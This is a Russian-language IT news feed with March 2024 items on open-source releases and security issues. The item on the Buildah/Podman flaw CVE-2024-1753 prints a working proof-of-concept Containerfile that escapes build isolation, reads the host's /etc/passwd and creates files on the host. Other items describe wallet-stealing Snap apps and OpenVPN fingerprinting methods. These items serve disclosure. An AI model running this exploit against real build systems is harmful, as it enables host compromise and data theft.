· | 19.03.2024 | Microsoft открыл код хранилища Garnet, совместимого с Redis (13 +4) |
Компания Microsoft открыла исходные тексты NoSQL-системы Garnet, рассчитанной на создание кэширующих хранилищ и совместимой с существующими клиентскими библиотеками для хранилища Redis. Garnet поддерживает создание масштабируемых кластеров для кэширования данных, в которых может использоваться репликация, миграция ключей и сегментирование данных между узлами кластера. Проект написан на языке C# с ядром хранения на C++, открыт под лицензией MIT и может работать на всех платформах, поддерживаемых в .NET (первичными платформами заявлены Linux и Windows).
Для хранения данных используется движок Tsavorite (форк хранилища Microsoft FASTER), который поддерживает многопоточную обработку запросов, транзакции, фиксацию изменений в неблокирующем режиме (checkpointing), восстановление после сбоев, сохранение избыточных копий и ведение лога операций. Сетевой обработчик в Garnet построен с использованием архитектуры разделяемой памяти, предложенной исследовательским проектом ShadowFax. Обработка TLS и взаимодействие с хранилищем выполняется в одном потоке, что даёт возможность избежать накладных расходов на переключение потоков и более эффективно использовать кэш CPU при передаче данных по сети. Архитектура Garnet отделяет логику разбора и обработки запросов от операций с хранилищем. Данные хранятся с использованием двух хранилищ в формате ключ-значение, реализованных на базе библиотеки Tsavorite. Первое "основное" хранилище оптимизировано для быстрого выполнения операций со строками, а второе "объектное" хранилище оптимизировано для размещения сложных объектов и расширенных типов данных, таких как хэши и списки. Типы данных во втором хранилище реализованы с привлечением библиотек .NET. Данные хранятся в куче (C# heap), что позволяет их эффективно обновлять, и в сериализированном виде на диске. Особенности Garnet:
| ||
Обсуждение (13 +4) |
Тип: Программы |
| ||
· | 19.03.2024 | В Snap Store выявлены вредоносные приложения для работы с криптокошельками (82 +10) |
В каталоге приложений Snap Store, сопровождаемом компанией Canonical и продвигаемом для использования в Ubuntu, выявлено 10 приложений, стилизованных под официальные клиенты для популярных криптовалютных кошельков, но на деле не имеющие отношения к разработчикам данных проектов и выполняющие вредоносные действия. Более того, в каталоге данные приложения снабжены меткой "Safe", которая создаёт иллюзию того, что приложение проверено и является безопасным.
Приложения опубликованы пользователем digisafe00000 под именами, подобными "exodus-build-96567", но в списке приложений выглядят как обычные криптовалютные приложения Exodus, Tronlink, Polygon, Electrum, Uniswap, Ladger, Metamask, JaxxLiberty, Avalanche и Trustwallet. В настоящее время указанные приложения уже удалены из каталога Snap Store, но почти сразу после их удаления они были размещены заново под новым пользователем codeguard0x0000 c немного изменёнными именами пакетов (например, "exodus-build-71776" и "metamask-stable28798"). Похожая активность наблюдалась в феврале и привела к краже около 9 биткойнов (примерно 500 тысяч долларов) у пользователя, установившего поддельный клиент Exodus. Так как авторы вредоносных приложений легко обходят автоматическую систему проверки публикуемых пакетов в форуме компании Canonical некоторые участники предлагают вообще запретить в Snap Store публикацию неверифицированных приложений, связанных с криптовалютой, по аналогии с тем, как в 2022 году в платформе совместной разработки SourceHut была запрещена публикация криптовалютных проектов. Приложения представляют собой муляжи, выводящие web-страницы с внешнего сайта (например, "http://89.116.xxx.145:5000/public/exodus/index.html") при помощи обёртки на базе WebKit GTK, симулирующей работу обычного настольного приложения (в февральском инциденте использовались фиктивные приложения, написанные на Flutter). Из функций работает только операция импортирования ключей и восстановления кошелька, а попытки создания нового кошелька завершаются выводом ошибки. В случае если пользователь выполнит операцию импорта уже существующего кошелька, то связанные с ним фраза восстановления ключей отправляется на сервер злоумышленников, а пользователю показывается сообщение об ошибке восстановления кошелька. Получив доступ к ключам атакующие затем выводят все средства с кошелька жертвы.
| ||
Обсуждение (82 +10) |
Тип: Проблемы безопасности |
| ||
· | 18.03.2024 | Уязвимость в Buildah и Podman, позволяющая обойти изоляцию контейнера (11 +7) |
В пакетах Buildah и Podman выявлена уязвимость (CVE-2024-1753), позволяющая получить полный доступ к файловой системе хост-окружения на стадии сборки контейнера, запускаемого с правами root. На системах с включённым SELinux доступ к хостовой ФС ограничивается режимом только чтения. Исправление пока доступно в виде патча, который несколько минут назад принят в кодовую базу Buildah.
Уязвимость вызвана тем, что при выполнении монтирования частей ФС через команду "mount --bind" во время сборки на стадии RUN, аргумент с исходным каталогом (параметр "source=") не проверяется на предмет существования в корневой ФС. Оформленный злоумышленником файл конфигурации Containerfile может использовать образ контейнера, в котором исходный каталог для монтирования оформлен в виде символической ссылки на корневую ФС. В этом случае операция монтирования приведёт к пробрасыванию внутрь контейнера корневой ФС хост-окружения, что позволит на стадии RUN получить полный доступ к файловой системе хост-окружения и организовать выход из контейнера во время сборки командами "buildah build" или "podman build". Пример вредоносного файла Containerfile, сборка которого командой "podman build -f ~/Containerfile ." приведёт к показу содержимого /etc/passwd и созданию файлов /BIND_BREAKEOUT и /etc/BIND_BREAKOUT2 в хост-окружении: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo "ls container root" RUN ls -l / RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host" RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host" RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2
| ||
Обсуждение (11 +7) |
Тип: Проблемы безопасности |
| ||
· | 18.03.2024 | Компания xAI, созданная Илоном Маском, открыла большую языковую модель Grok (98 +16) |
Компания xAI, основанная Илоном Маском и получившая около миллиарда долларов на развитие технологий, связанных с искусственным интеллектом, объявила об открытии большой языковой модели Grok, применяемой в чатботе, интегрированном в социальную сеть X (Twitter). Набор весовых коэффициентов, архитектура нейронной сети и примеры использования опубликованы под лицензией Apache 2.0. Для загрузки доступен готовый к применению архив с моделью, размером 296 ГБ (magnet).
Модель Grok предварительно обучена на большой коллекции текстовых данных, используя разработанный в xAI собственный стек обучения, и охватывает около 314 миллиардов параметров, что делает её крупнейшей из доступных открытых больших языковых моделей. Для сравнения недавно открытая Google модель Gemma насчитывает 7 млрд параметров, Sber GigaChat - 29 млрд параметров, Meta LLaMA - 65 млрд, Yandex YaLM - 100 млрд, OpenAI GPT-3.5 - 175 млрд, а лидер рынка, модель GPT-4, предположительно включает 1.76 триллиона параметров. Открытый вариант модели Grok-1 опубликован в базовом представлении и не включает оптимизаций для определённых областей использования, таких как организация диалоговых систем. Для тестирования требуется GPU c большим объёмом памяти (каким именно не уточняется). В открытом доступе размещён статичный слепок модели, в то время как одной из особенностей развиваемого для Twitter-а чатбота Grok является динамическая адаптация к появляющемуся новому содержимому (для доступа к новым знаниям используется интеграция с платформой X/Twitter). Построенный на базе Grok чатбот опережает GPT-3.5 в тестах на решение математических задач средней школы (GSM8k), формирование ответов на междисциплинарные вопросы (MMLU), дополнение кода на языке Python (HumanEval) и решение вузовских математических задач, описанных в формате LaTeX (MATH).
| ||
Обсуждение (98 +16) |
Тип: К сведению |
| ||
· | 17.03.2024 | Определение сеансов OpenVPN в транзитном трафике (68 +17) |
Группа исследователей из Мичиганского университета опубликовала результаты исследования возможности идентификации (VPN Fingerprinting) соединений к серверам на базе OpenVPN при мониторинге транзитного трафика. В итоге было выявлено три способа идентификации протокола OpenVPN среди других сетевых пакетов, которые могут использоваться в системах инспектирования трафика для блокирования виртуальных сетей на базе OpenVPN.
Тестирование предложенных методов в сети интернет-провайдера Merit, насчитывающего более миллиона пользователей, показало возможность идентификации 85% OpenVPN-сеансов при незначительном уровне ложных срабатываний. Для проверки был подготовлен инструментарий, который вначале в пассивном режиме на лету определял трафик OpenVPN, а затем удостоверяется в корректности результата через активную проверку сервера. На созданный исследователями анализатор был отзеркалирован поток трафика, интенсивностью примерно 20 Gbps. В ходе эксперимента анализатор смог успешно определить 1718 из 2000 тестовых OpenVPN-соединений, установленных подставным клиентом, на котором было использовано 40 различных типовых конфигураций OpenVPN (метод успешно сработал для 39 из 40 конфигураций). Кроме того, за восемь дней проведения эксперимента в транзитном трафике было выявлено 3638 сеансов OpenVPN, из которых было подтверждено 3245 сеанса. Отмечается, что верхняя граница ложных срабатываний в предложенном методе на три порядка ниже, чем в ранее предлагавшихся методах, основанных на применении машинного обучения. Отдельно была оценена работа методов защиты от отслеживания трафика OpenVPN в коммерческих сервисах - из 41 протестированного VPN-сервиса, использующего методы скрытия трафика OpenVPN, трафик удалось идентифицировать в 34 случаях. Сервисы, которые не удалось обнаружить, помимо OpenVPN использовали дополнительные слои для скрытия трафика (например, пробрасывание OpenVPN-трафика через дополнительный шифрованный туннель). В большинстве успешно определённых сервисов использовалось искажение трафика при помощи операции XOR, дополнительные слои обфускации без должного случайного дополнения трафика или наличие необфусцированных OpenVPN-служб на том же сервере. Задействованные способы идентификации основываются на привязке к специфичным для OpenVPN шаблонам в незашифрованных заголовках пакетов, размеру ACK-пакетов и ответам сервера. В первом случае, в качестве объекта для идентификации на стадии согласования соединения может использоваться привязка к полю "opcode" в заголовке пакетов, которое принимает фиксированный диапазон значений и определённым образом меняется в зависимости от стадии установки соединения. Идентификация сводится в выявлению определённой последовательности изменения opcode в первых N-пакетах потока. Второй способ основывается на том, что ACK-пакеты применяются в OpenVPN только на стадии согласования соединения и при этом имеют специфичный размер. Идентификация основывается на том, что ACK-пакеты заданного размера встречаются только в определённых частях сеанса (например, при использовании OpenVPN первый ACK-пакет обычно является третьим пакетом с данными, переданным в сеансе). Третий метод является активной проверкой и обусловлен тем, что в ответ на запрос сброса соединения сервер OpenVPN отправляет определённый RST-пакет (проверка не работает при использовании режима "tls-auth" так как OpenVPN-сервер при нём игнорирует запросы от клиентов, не аутентифицированных через TLS).
| ||
Обсуждение (68 +17) |
Тип: Проблемы безопасности |
| ||
· | 16.03.2024 | Rocky Linux, Oracle и SUSE обеспечат дальнейшее сопровождение ядра Linux 4.14 (120 +20) |
Ассоциация OpenELA (Open Enterprise Linux Association), в прошлом году образованная компаниями CIQ (Rocky Linux), Oracle и SUSE для объединения усилий по обеспечению совместимости с RHEL, представила проект kernel-lts, в рамках которого обеспечит дополнительное сопровождения для некоторых устаревших LTS-веток ядра, после прекращения их официальной поддержки.
Первым ядром, для которого будет предоставлена дополнительная поддержка станет ветка 4.14, которая была опубликована в ноябре 2017 года и сопровождалась 6 лет. В январе основная команда разработчиков ядра прекратила сопровождение данной ветки. Силами OpenELA сопровождение возобновлено и обновления для ядра 4.14 будут выпускаться как минимум до декабря 2024 года. После финального выпуска ядра Linux 4.14.336 командой OpenELA уже выпущены расширенные обновления 4.14.337-openela, 4.14.338-openela и 4.14.339-openela. Осуществляемое организацией OpenELA сопровождение будет производиться с соблюдением тех же правил и процессов, что применяются для обычных стабильных LTS-ядер. Никаких дополнительных ограничений, таких как привязка к определённому оборудованию или продуктам, вводиться не будет. Обновления будут выпускаться на основе работы по отслеживанию исправлений из актуальных веток ядра и их переносу в сопровождаемые расширенные LTS-ветки. Кроме расширенного сопровождения LTS-веток ядра ассоциация OpenELA занимается поддержанием репозитория с пакетами, который можно использовать в качестве основы для создания дистрибутивов, полностью бинарно совместимых с Red Hat Enterprise Linux, идентичных по поведению (на уровне ошибок) с RHEL и пригодных для использования в качестве замены RHEL. Репозиторий поддерживается совместными усилиями команд разработчиков RHEL-совместимых дистрибутивов Rocky Linux, Oracle Linux и SUSE Liberty Linux, и включает пакеты, необходимые для формирования дистрибутивов, совместимых с ветками RHEL 8 и 9 (в планах RHEL 7). Репозиторий OpenELA занял место репозитория git.centos.org, поддержание которого было прекращено компанией Red Hat. Разработчиками ядра продолжается сопровождение следующих longterm-веток ядра Linux:
Отдельно на базе ядер 4.4, 4.19, 5.10 и 6.1 организацией Linux Foundation предоставляются ветки SLTS (Super Long Term Support), которые сопровождается отдельно и поддерживаются 10-20 лет. Сопровождение SLTS-веток осуществляется в рамках проекта Civil Infrastructure Platform (CIP), в котором участвуют такие компании, как Toshiba, Siemens, Renesas, Bosch, Hitachi и MOXA, а также вовлечены мэйнтейнеры LTS-веток основного ядра, разработчики Debian и создатели проекта KernelCI. Ядра SLTS ориентированы на применение в технических системах гражданской инфраструктуры и в важных промышленных системах.
| ||
Обсуждение (120 +20) |
Тип: К сведению |
| ||
· | 16.03.2024 | Выпуск библиотеки Libadwaita 1.5 для создания интерфейсов в стиле GNOME (143 +10) |
Проект GNOME опубликовал выпуск библиотеки Libadwaita 1.5, включающей набор компонентов для стилевого оформления интерфейса пользователя, соответствующего рекомендациям GNOME HIG (Human Interface Guidelines). Библиотека включает в себя готовые виджеты и объекты для построения приложений, соответствующих общему стилю GNOME, интерфейс которых может адаптивно подстраиваться под экраны любого размера. Код библиотеки написан на языке Си и распространяется под лицензией LGPL 2.1+.
Библиотека libadwaita используется в сочетании с GTK4 и включает компоненты используемой в GNOME темы оформления Adwaita, которые были вынесены из GTK в отдельную библиотеку. Вынос элементов визуального оформления GNOME в отдельную библиотеку позволяет развивать необходимые для GNOME изменения отдельно от GTK, что даёт возможность разработчикам GTK сосредоточиться на базовых вещах, а разработчикам GNOME более быстро и гибко продвигать необходимые для себя изменения стилевого оформления, не затрагивая сам GTK. В библиотеку входят типовые виджеты, охватывающих различные элементы интерфейса, такие как списки, панели, блоки редактирования, кнопки, вкладки, формы поиска, диалоговые окна и т.п. Предложенные виджеты позволяют создавать универсальные интерфейсы, которые органично функционируют как на крупных экранах ПК и ноутбуков, так и на небольших сенсорных экранах смартфонов. Интерфейс приложений динамически меняется в зависимости от размера экрана и доступных устройств ввода. Библиотека также включает набор стилей Adwaita, приводящих внешний вид в соответствие с рекомендациями GNOME, без необходимости выполнения ручной адаптации. Основным изменением в libadwaita 1.5 стала переработка адаптивных виджетов для создания диалоговых окон, подстраивающихся под размер видимой области. В отличие от традиционных диалогов, которые размещаются в отдельных окнах, новые диалоги формируются на стороне клиента, отрисовываются внутри существующих окон и не могут выходить за пределы родительского окна. Подобный подход упрощает создание универсальных диалогов, сочетаемых с интерфейсами для мобильных и настольных систем, а также предоставляет дополнительные возможности для управления диалогами (например, не нужно отслеживать выход за границу окна, можно выбирать поведение в отношении кнопок закрытия, обеспечивается автоматическое развёртывание на весь экран в мобильных версиях приложений, учитывается стиль текущего окна, а не системы, при затемнении диалога). В дальнейшем планируется реализовать ещё один вариант подобных диалогов, привязанных не к окнам, а ко вкладкам внутри окна, что может быть востребовано в таких приложениях, как браузеры для того, чтобы связанные со вкладкой диалоги не перекрывали основное окно при переключении между вкладками. Для мобильных устройств реализована поддержка размещения диалогов в форме листов, закреплённых в нижней части экрана (bottom sheets), а не в форме листов, выровненных по центру. Прикреплённые к нижней части диалоги избавляют пользователей от путаницы с закрытием окон - в подобных диалогах часть родительского окна остаётся видимой и кнопки закрытия родительского окна и самого диалога явно разделены, поэтому их теперь трудно спутать. Управление новыми диалогами производится при помощи класса AdwDialog, работа с которым в большинстве ситуаций походит на использование класса GtkWindow, а различия сводятся к операциям отображения и закрытию. Например, свойство ":transient-for" заменено на параметр в функции adw_dialog_present(), добавлен новый сигнал "::close-attempt", изменена обработка параметра ":can-close". Вместо классов AdwPreferencesWindow, AdwAboutWindow и AdwMessageDialog с новыми диалогами предложено использовать классы AdwPreferencesDialog, AdwAboutDialog и AdwAlertDialog. Диалоги, которые не имеют родительского окна, по-прежнему будут обрабатываться в форме отдельных окон. Как окна также будут функционировать диалоги, родительские окна которых не могут быть использованы для размещения диалогов, например, если они не допускают изменения размера или для них отсутствуют классы AdwWindow и AdwApplicationWindow. Не связанные с переработкой диалогов изменения в Libadwaita 1.5:
| ||
Обсуждение (143 +10) |
Тип: Программы |
| ||
· | 15.03.2024 | Первый выпуск дистрибутива TileOS (97 +11) |
Доступен выпуск дистрибутива TileOS 1.0 "T-Rex", построенного на пакетной базе Debian и предлагающего рабочий стол, использующий мозаичные оконные менеджеры. TileOS преследует те же цели, что и дистрибутив Ubuntu Sway Remix (развивается тем же автором), предлагая готовый к использованию интерфейс, не требующий дополнительной настройки и ориентированный как на опытных пользователей Linux, так и на новичков, желающих попробовать окружение мозаичных оконных менеджеров, не тратя большое количество времени на их настройку.
Однако, в отличии от Ubuntu Sway Remix, TileOS гораздо более открыт для различных изменений и кастомизаций, а также избавлен от каких-либо потенциальных проблем с авторскими правами (Ubuntu Sway Remix использует зарегистрированные товарные знаки Canonical, но официального ответа по поводу включения дистрибутива в официальное семейство Ubuntu до сих пор не получено). Для загрузки подготовлены сборки для архитектуры amd64 (в будущем планируется обеспечить поддержку arm64, в частности плат Raspberry Pi). Исходный код компонентов TileOS доступен на GitLab. Основное внимание в TileOS уделяется оконным менеджерам, использующим протокол Wayland. Официально представлены редакции с рабочими столами Sway и River, в разработке находятся редакции с SwayFX (форк Sway, дополненный различными эффектами рабочего стола) и Qtile. Дистрибутив использует пакетную базу Debian Stable, однако из тестовой ветки переносятся различные улучшения, более свежие версии некоторого ПО и графических драйверов. Помимо этого, в состав включён ряд исправлений, оптимизирующих работу дисковой подсистемы и памяти, а также перенесены некоторые улучшения из Ubuntu, например монтирование дисков в файловом менеджере без запроса пароля, и другие. Ключевые особенности TileOS:
Особенности редакции Sway:
Особенности редакции River
| ||
· | 15.03.2024 | Mozilla закрывает общедоступный сервис определения местоположения (52 –1) |
Компания Mozilla объявила о решении по закрытию проекта MLS (Mozilla Location Service), c 2013 года развивавшего общедоступный сервис для определения географического местоположения на основании информации об известных точках доступа Wi-Fi (привязка к BSSID/MAC), базовых станциях мобильных операторов (привязка к Cell-ID) и выдаваемых абоненту IP-адресах (GeoIP). Сервис позволял определять примерное местоположение на карте без применения спутниковых систем навигации, таких как GPS и ГЛОНАС.
С 2019 года возможности сервиса были ограничены из-за обвинений в нарушении патентов компании Skyhook Holdings и заключения внесудебного соглашения, в соответствии с которым компания Mozilla установила лимит в 100 тысяч обращений к API в день для коммерческих проектов. Введённые ограничения привели к отказу проекта Sailfish от использования MLS и потере инвестиционной привлекательности MLS в глазах Mozilla. При этом MLS продолжал применяться в проекте microG и во многих альтернативных Android-прошивках вместо проприетарного сервиса Google Network Location. В качестве причины сворачивания проекта упоминается продолжающаяся тенденция к снижению точности определения местоположения в MLS в сочетании с отсутствием желания увеличить инвестиции или возродить программу MozStumbler. База данных с привязкой координат к базовым станциям и Wi-Fi-сетям пополнялась благодаря действиям энтузиастов, установивших на свои смартфоны мобильное приложение MozStumbler. Приложение MozStumbler было привязано к сервису stumbler, который входил в состав старого Firefox для Android вплоть до версии 69, на смену которому в 2020 году пришла новая мобильная редакция браузера, развиваемая под кодовым именем Fenix. В начале 2021 года разработка MozStumbler была остановлена и приложение так и не было адаптировано для Android 10 и более новых версий платформы. Несмотря на наличие альтернативных приложений, таких как TowerCollector, в настоящее время поступление новых данных в БД MLS существенно снизилось и актуальность информации оставляет желать лучшего. Из альтернативных открытых БД с данными о привязке местоположения можно отметить OpenCellID. Предложен следующий план постепенного отключения сервиса:
| ||
Обсуждение (52 –1) |
Тип: К сведению |
Интересно
| ||
· | 14.03.2024 | Проект PiDP-10 развивает клон мэйнфрейма PDP-10 на базе платы Raspberry Pi 5 (176 +33) |
Энтузиасты ретрокомпьютеров опубликовали проект PiDP-10, нацеленный на создание рабочей реконструкции мэйнфрейма DEC PDP-10 KA10 , образца 1968 года. Для устройства изготовлен новый пластиковый корпус управляющей панели, оснащённый 124 ламповыми индикаторами и 74 переключателями. Вычислительные составляющие и программное окружение воссозданы при помощи платы Raspberry Pi 5 с дистрибутивом Raspberry Pi OS, основанным на Debian, и инструментария SIMH, который поддерживает полную симуляцию PDP-10, включая воспроизведение известных ошибок.
В эмуляторе можно запустить многозадачную и многопользовательскую операционную систему TOPS-10, которая изначально поставлялась на мэйнфреймах PDP-10. В качестве опции также поддерживается запуск альтернативной операционной системы ITS, разработанной в 1967 году в MIT для PDP-10. Для запуска в ITS доступно более 400 исторических приложений, восстановленных из ленточных архивов MIT. Код использованных проектом компонентов и скрипт для автоматизации установки опубликованы на GitHub. Для запуска ITS использован развиваемый энтузиастами сборочный инструментарий. На 1 апреля в музее компьютерной техники при Массачусетском технологическом институте намечено мероприятие по вводу PiDP-10 в эксплуатацию, которое будет совмещено с семинаром на тему истории использования PDP-10 в MIT. Из параллельно развиваемых проектов можно отметить создание клонов для компьютеров Whirlwind (1945), PDP-1 (1959), PDP-8 (1968) и PDP-11/70 (1975). Проект также занимается полной реконструкцией помещения вычислительного центра с PDP-10, которая позволит полностью погрузиться в атмосферу компьютерной техники 1960-х.
| ||
Обсуждение (176 +33) |
Тип: К сведению |
| ||
· | 14.03.2024 | Уязвимость в процессорах Intel Atom, приводящая к утечке информации из регистров (88 +4) |
Компания Intel раскрыла сведения о микроархитектурной уязвимости (CVE-2023-28746) в процессорах Intel Atom (E-core), позволяющей определить данные, используемые процессом, до этого выполнявшемся на том же ядре CPU. Уязвимость, которая получила кодовое имя RFDS (Register File Data Sampling), вызвана возможностью определения остаточной информации из регистровых файлов (RF, Register File) процессора, которые используются для совместного хранения содержимого регистров во всех задачах на том же ядре CPU.
Проблема выявлена инженерами Intel в ходе внутреннего аудита. Детальная информация о методе эксплуатации уязвимости не раскрывается. Утверждается, что атакующий не может целенаправленно управлять выбором процессов для извлечения данных, т.е. оседание доступной для извлечения информации носит случайный характер. Тем не менее, мониторинг остаточной информации может привести к утечке конфиденциальных данных из процессов других пользователей, ядра системы, виртуальных машин, анклавов SGX и обработчиков в режиме SMM. Утечке подвержены векторные регистры, которые активно используются при шифровании, в функциях копирования памяти и при обработке строк, например, в функциях memcpy, strcmp и strlen. Утечка возможна и через регистры для хранения чисел с плавающей запятой и целых чисел, но они обновляются в процессе выполнения задач значительно чаще векторных регистров, поэтому утечка через них менее вероятна. Остаточные данные напрямую не остаются в регистрах, но могут извлекаться из регистровых файлов при помощи методов атак по сторонним каналам, таких как анализ данных в кэше CPU. Уязвимость затрагивает только процессоры Atom на базе микроархитектур Alder Lake, Raptor Lake, Tremont, Goldmont и Gracemont. Так как уязвимые процессоры не поддерживают режим HyperThreading, утечка возможна только в рамках одного потока выполнения текущим ядром CPU. Изменения для блокирования уязвимости включены в состав обновления микрокода microcode-20240312-staging. Методы защиты от уязвимости идентичны тем, что уже применяются для блокирования ранее выявленных атак класса MDS (Microarchitectural Data Sampling), SRBDS (Special Register Buffer Data Sampling), TAA (Transactional Asynchronous Abort), DRPW (Device Register Partial Write) и SBDS (Shared Buffers Data Sampling). Для блокирования утечки в ядре и гипервизорах помимо обновления микрокода требуется применение программных методов защиты, основанных на использовании инструкции VERW для очистки содержимого микроархитектурных буферов в момент возвращения из ядра в пространство пользователя или при передаче управления гостевой системе. Указанная защита уже добавлена в гипервизор Xen и ядро Linux. Для включения защиты в ядре Linux можно использовать при загрузке ядра флаг "reg_file_data_sampling=on", а информацию о подверженности уязвимости и наличии необходимого для защиты микрокода можно оценить в файле "/sys/devices/system/cpu/vulnerabilities/reg_file_data_sampling".
| ||
Обсуждение (88 +4) |
Тип: Проблемы безопасности |
| ||
· | 14.03.2024 | Планы в отношении поддержки в Firefox второй и третьей версий манифеста Chrome (137 +30) |
Разработчики из компании Mozilla обновили информацию о планах, связанных с поддержкой в Firefox второй и третьей версий манифеста Chrome. Компания Google в июне этого года намерена прекратить поддержку дополнений, использующих вторую версию манифеста, в тестовых выпусках Chrome 127 (Dev, Canary и Beta). В стабильной ветке поддержка второй версии манифеста будет прекращена не раньше июля.
В свою очередь компания Mozilla не будет в обозримом будущем прекращать поддержку второй версии манифеста, и сохранит возможность запускать дополнения, использующие возможности, недоступные в третьей версии манифеста. Остаётся в силе решение не обеспечивать в Firefox полную совместимость с третьей версией манифеста Chrome. В Firefox будет оставлен полноценный API webRequest, который в Chrome будет переведён в режим только для чтения. В Firefox также при помощи механизма Event Pages будет сохранена поддержка выполнения фоновых скриптов на базе DOM, вместо которых в третьей версии манифеста предписано использовать Service Workers. Фоновые скрипты на базе Service Workers в Firefox пока не поддерживаются, но разработчикам будет предоставлена возможность определения в дополнении как обработчика на базе Event Pages, так и скриптов на базе Service Workers, что позволит создавать дополнения, соответствующие третьей версии манифеста и работающие в Chrome и Firefox. Манифест Chrome определяет возможности и ресурсы, доступные для дополнений, написанных с использованием API WebExtensions. Начиная с версии 57 Firefox полностью перешёл на использование API WebExtensions для разработки дополнений и прекратил поддержку технологии XUL. Переход на WebExtensions позволил унифицировать разработку дополнений с платформами Chrome, Opera, Safari и Edge, упростил портирование дополнений между различными web-браузерами и дал возможность полноценно использовать многопроцессный режим работы (дополнения WebExtensions могут выполняться в отдельных процессах, изолированно от остальных частей браузера). Для унификации разработки дополнений с остальными браузерами в Firefox обеспечивается почти полная совместимость со второй версией манифеста Chrome. В рамках инициативы по упрощению создания безопасных и высокопроизводительных дополнений, и усложнению возможности создания небезопасных и медленных дополнений, компания Google разработала третью версию манифеста. Основное недовольство третьей версией манифеста вызвано переводом в режим только для чтения API webRequest, позволявшего подключать собственные обработчики, имеющие полный доступ к сетевым запросам и способные на лету модифицировать трафик. Вместо API webRequest в третьей версии манифеста добавлен ограниченный по своим возможностям API declarativeNetRequest, предоставляющий доступ к встроенному движку для фильтрации, самостоятельно обрабатывающему правила блокировки, не разрешающему использовать собственные алгоритмы фильтрации. Среди особенностей реализации третьей версии манифеста в Firefox:
| ||
Обсуждение (137 +30) |
Тип: К сведению |
| ||
· | 13.03.2024 | GhostRace - атака на механизм спекулятивного выполнения в процессорах Intel, AMD, ARM и IBM (90 +22) |
Группа исследователей из Амстердамского свободного университета и компании IBM разработала новый вариант атаки на механизм спекулятивного выполнения в современных процессорах, получивший кодовое имя GhostRace (CVE-2024-2193). Проблема проявляется в процессорах, производимых компаниями Intel, AMD, ARM и IBM. Для демонстрации принципов проведения атаки опубликован прототип эксплоита, позволяющий извлекать данные из памяти ядра Linux с производительностью 12 Кб в секунду при уровне надёжности, типичном для атак класса Spectre. При проведении атак на системы виртуализации, атакующий из гостевой системы может определить содержимое памяти хост-окружения или других гостевых систем.
Предложенный метод атаки манипулирует возникновением в спекулятивном режиме состояний гонки, способных привести к обращению к уже освобождённым областям памяти, в случае неверного прогнозирования процессором ветвления в коде, в котором осуществляются условные операции с примитивами синхронизации потоков, такими как mutex и spinlock. Возникающие спекулятивные обращения к памяти после определения неверного предсказания отбрасываются процессором, но следы их выполнения оседают в процессорном кэше и могут затем быть извлечены при помощи анализа по сторонним каналам. По аналогии с эксплуатацией уязвимостей Spectre v1 для осуществления атаки GhostRace требуется наличие в ядре определённых последовательностей инструкций (гаджетов), приводящих к спекулятивному выполнению кода в зависимости от внешних условий, на которые может влиять атакующий. В целях оптимизации процессор начинает выполнять подобные гаджеты в спекулятивном режиме, но потом определяет, что предсказание ветвления не оправдалось и откатывает операции в исходное состояние. Гаджет образуется, например, из участков кода, в которых состояние проверяется в бесконечном цикле и осуществляется выход из цикла после снятия блокировки доступа к ресурсу. Соответственно, при спекулятивном выполнении инструкций можно добиться ложного срабатывания перехода и выполнения защищённого блокировкой набора инструкций, несмотря на то, что фактически блокировка ресурса остаётся неснятой. При анализе кода ядра Linux 5.15.83 исследователями выявлено 1283 гаджета, приводящих к спекулятивному обращению к уже освобождённой памяти (SCUAF - Speculative Concurrent Use-After-Free). Потенциально атака может быть совершена на системы виртуализации, любые ядра ОС и программы, в которых примитивы синхронизации потоков проверяются с использованием условных операторов, а код выполняется на платформах допускающих спекулятивное выполнение операций ветвления (x86, ARM, RISC-V и т.п.). Для блокирования атаки предлагается использовать сериализацию примитивов синхронизации, т.е. добавление процессорной инструкции LFENCE после команды cmpxchq, проверяющей состояние блокировки. Предложенный для включения в ядро Linux метод защиты приводит к снижению производительности приблизительно на 5% при прохождении теста LMBench, так как вызов LFENCE запрещает упреждающее выполнение следующих инструкций, до того как будет завершена фиксация всех предыдущих операций. Разработчики ядра Linux и компании-производители CPU были уведомлены о проблеме в конце 2023 года. Компания AMD опубликовала отчёт о наличии уязвимости, в котором рекомендовала использовать типовые приёмы защиты от атак класса Spectre v1. Компании Intel и ARM пока не отреагировали. Разработчики ядра Linux в ближайшем будущем не намерены использовать предложенный метод сериализации примитивов синхронизации из-за снижения производительности, но уже реализовали необходимые ограничения для защиты от сопутствующей техники эксплуатации IPI Storming (Inter-Process Interrupt Storming) (CVE-2024-26602), которая применяется в эксплоите для прерывания процесса в нужный момент (наводнение ядра CPU прерываниями, мешающими завершению сработавшего во время работы процесса обработчика прерываний) с целью предоставления временного окна для осуществления спекулятивного обращения к уже освобождённой памяти. Несмотря на то что в гипервизоре Xen пока не выявлены вызывающие утечку гаджеты, разработчики Xen подготовили изменения с реализацией защищённого механизма блокировок LOCK_HARDEN, похожего на ранее добавленный метод защиты BRANCH_HARDEN. Из-за возможного негативного влияния на производительность, а также отсутствия подтверждений возможности совершения атаки на Xen, режим LOCK_HARDEN отключён по умолчанию.
| ||
Обсуждение (90 +22) |
Тип: Проблемы безопасности |
Интересно
| ||
· | 13.03.2024 | Выпуск системы потокового видеовещания OBS Studio 30.1 (39 +23) |
Опубликован выпуск OBS Studio 30.1, пакета для потокового вещания, композитинга и записи видео. Код написан на языках C/C++ и распространяется под лицензией GPLv2. Сборки сформированы для Linux (flatpak), Windows и macOS.
